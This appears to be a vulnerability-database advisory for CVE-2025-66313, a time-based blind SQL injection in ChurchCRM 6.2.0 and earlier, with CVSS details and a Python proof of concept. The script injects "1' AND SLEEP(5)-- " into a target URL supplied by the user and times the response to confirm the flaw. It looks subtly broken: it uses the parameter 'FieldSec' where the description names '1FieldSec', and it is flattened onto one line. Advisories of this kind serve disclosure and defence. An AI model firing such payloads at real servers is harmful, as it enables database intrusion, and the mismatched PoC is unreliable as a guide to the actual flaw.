Security Vulnerability Report
中文
CVE-2025-66313 CVSS 7.2 HIGH

CVE-2025-66313

Published: 2025-12-01 23:15:53
Last Modified: 2025-12-03 17:58:25

Description

ChurchCRM is an open-source church management system. In ChurchCRM 6.2.0 and earlier, there is a time-based blind SQL injection in the handling of the 1FieldSec parameter. Injecting SLEEP() causes deterministic server-side delays, proving the value is incorporated into a SQL query without proper parameterization. The issue allows data exfiltration and modification via blind techniques.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:* - VULNERABLE
ChurchCRM <= 6.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 import requests import time target_url = input('Enter target URL: ') payload = "1' AND SLEEP(5)-- " start = time.time() response = requests.get(f'{target_url}?FieldSec={payload}') elapsed = time.time() - start if elapsed > 4: print('Blind SQL injection confirmed!') else: print('No vulnerability detected.')

References

Raw JSON Data

JSON
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